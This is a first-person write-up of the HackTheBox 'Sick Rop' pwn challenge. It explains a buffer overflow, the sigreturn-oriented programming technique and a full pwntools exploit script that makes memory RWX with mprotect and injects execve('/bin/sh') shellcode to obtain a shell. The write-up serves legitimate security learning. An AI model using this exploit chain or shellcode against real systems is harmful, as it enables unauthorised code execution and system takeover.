“Sick Rop” is a pwn challenge hosted by HackTheBox.
The first thing I did (as always), once I have downloaded the challenge, was to gather some general information about the binary:
It is possible to notice that the program is a 64-bit executable, statically linked and not stripped. Moreover, no significant security measures are in place except for the NX bit. Therefore, a first, blind guess was (suggested also by the name of the challenge) to exploit the binary by means of a buffer overflow, and in particular leveraging a rop chain.
In order to perform some reverse engineering on the binary I used IDA-Free.
The binary had only four functions: _start, vuln, read and write. Let’s start by analyzing them in order. I will analyze only the assembly since it is short enough to not require to much work (no decompiler this time).
_start is the first function the program executes. It consists of a loop which simply calls the function vuln over and over.
In the prologue, vuln creates the space for a character buffer of 0x20 bytes. Then it calls the functions read and write passing as argument (not a conventional parameter passing routine) the buffer to both function using the register r10, and how much to read/write, using the stack.
Functions read and write simply set the register in order to call a read syscall and a write syscall on the buffer of 0x20 bytes. However, it is possible to notice that the read function reads up to 0x300 bytes … ladies and gentlemen we have our buffer overflow.
Exploitation: First Idea
Once found the buffer overflow, the first thing I thought was to generate a list of gadgets to start building my ropchain. However, these are the gadget contained inside the binary:
So, there are very few gadgets and there isn’t a single pop instruction … things got worse when I realized that the binary is statically linked, therefore no libc gadgets.
Exploitation: Second Idea
After a lot of web searching I found the following article about srops. Sigreturn Oriented Programming exploits consists in creating a particular structure in the stack, by means of a vulnerability such a buffer overflow, and then make the program execute a sigreturn syscall. This call will make the Linux kernel think that a signal handler has finished its execution and that it is time to perform a context switch. In order to perform the context switch the kernel will load the registers of the program according to the structure that is saved in the stack. Therefore, by using this type of attack we will be able to control nearly every register used by our program. If you want to know more about srop attack it is possible to find the full documentation here.
In order to be able to execute this attack therefore I needed:
- A pretty big buffer overflow … check
- A sigreturn gadget …
In the gadgets shown above there isn’t a sigreturn gadget, but there is a syscall so if we are able to control at least rax we are able to perform a sigreturn syscall.
By analyzing the code both statically and dynamically it is possible to realize that when the function vuln returns the value stored in the rax register is the number of characters read by the read function:
Okay, then, since we now can control all the registers (thanks to the srop attack) it is possible to get a shell by following the steps listed below:
- Leverage the overflow to create the structure needed by a sigreturn attack and make the program repeat the vuln function
- Control the rax register by making the program read 0xf characters (0xf is the number corresponding to the sigreturn syscall) and make it return to a syscall gadget
- Through the srop attack, by setting properly the registers, make the program execute a mprotect syscall in order to make the .text segment of the memory readable, writable and executable
- Make the stack coincide with the .text segment (by setting the rsp properly)
- Make the program start again
- Use the read function inside vuln to write a shellcode in the .text segment
- Leverage the buffer overflow to jump in the shellcode
All these steps are pretty trivial to perform, except for the creation of the stack portion used by the sigreturn syscall. Luckily, we can make pwntools work for us.
In the following there is the script I wrote which implements the idea explained before:
from pwn import *HOST = <ip_address>
PORT = <port>
EXE = './sick_rop'if args.R:
r = remote(HOST, PORT)
elif (args.D or args.L):
r = process(EXE)
gdb.attach(r, ''' ''')
print('Usage: ./<filename>.py <D | L | R>')
exit()elf = ELF(EXE)vuln = 0x040102e
vuln_ptr = 0x04010d8
syscall = 0x0401014
text_seg = 0x0400000payload = b'\x90'*0x28
payload += p64(vuln)
payload += p64(syscall)context.clear(arch='amd64')
frame = SigreturnFrame()
frame.rax = 0xa # mprotect
frame.rdi = text_seg # .text segment
frame.rsi = 0x2000 # length
frame.rdx = 0x7 # rwx
frame.rsp = vuln_ptr # pointer to the vuln function
frame.rip = syscallfor x in unpack_many(bytes(frame)):
payload += p64(x)r.send(payload)sleep(2)payload = b'\x90'*0xf
r.send(payload)shell_addr = 0x04010b8
shellcode = b'\xEB\x0E\x5F\x48\x31\xC0\x04\x3B\x48\x31\xF6\x48\x31\xD2\x0F\x05\xE8\xED\xFF\xFF\xFF' + b'/bin/sh\x00'payload = shellcode.ljust(40, b'\x90')
payload += p64(shell_addr)sleep(2)r.send(payload)r.interactive()
This script gave me a nice shell and the flag, of course. Pwned!
PS: In this writeup I have tried to explain all the aspects that I considered interesting and I skipped those ones which I consider trivial. If you want to dig more into my exploit drop me a line, I will more than happy to help you out!